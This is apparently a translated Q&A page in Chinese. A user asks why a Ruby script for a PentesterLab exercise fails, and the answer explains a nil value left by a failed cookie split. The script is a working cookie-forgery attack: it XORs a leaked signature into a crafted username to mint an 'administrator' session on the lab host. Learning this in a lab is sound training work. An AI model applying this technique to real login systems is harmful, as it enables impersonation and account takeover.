我试图在 pentesterlab 中完成练习,我在 ruby 代码中遇到错误,请帮助我

问题描述 投票:0回答:1
require 'httparty'
require 'base64'
URL = 'http://ptl-a4b5e023-f4db1f7c.libcurl.so/'

def login(username)
  res = HTTParty.post(URL+'login.php',body:{username:username,password: 'Password1'}>

  return res.headers["set-cookie"].split("=")[1]
end

cookie =  login("administ")
signature1 = Base64.decode64(cookie).split("__")[1]

def xor(str1, str2)
  ret =""
  str1.split(//).each_with_index do |c, i|
    ret[i] = (str1[i].ord ^ str2[i].ord).chr
  end
  return ret
end

username2 = xor("rator\00\00\00",signature1)

cookie2 = login(username2).gsub("%2B","+")
puts cookie2
signature2 = Base64.decode64(cookie2).split("__")[1]
puts signature2

puts Base64.encode64("administrator--#{signature2}")

我遇到的错误

ruby cbcccccc.rb 
cbcccccc.rb:17:in `block in xor': undefined method `[]' for nil (NoMethodError)

    ret[i] = (str1[i].ord ^ str2[i].ord).chr
                                ^^^
    from cbcccccc.rb:16:in `each'
    from cbcccccc.rb:16:in `each_with_index'
    from cbcccccc.rb:16:in `xor'
    from cbcccccc.rb:22:in `<main>'
ruby xor
1个回答
0
投票

问题是

str2
方法中的
xor
nil

str2
的值在此处创建:

signature1 = Base64.decode64(cookie).split("__")[1]

您获得了

nil
值,因为您尝试访问超出其边界的数组。由此,我们可以推断
Base64.decode64(cookie).split("__")
生成的数组长度小于 2 个项目。

您需要调查

Base64.decode64(cookie)
的值并确定为什么它没有满足您包含子字符串
__
的期望。

© www.soinside.com 2019 - 2024. All rights reserved.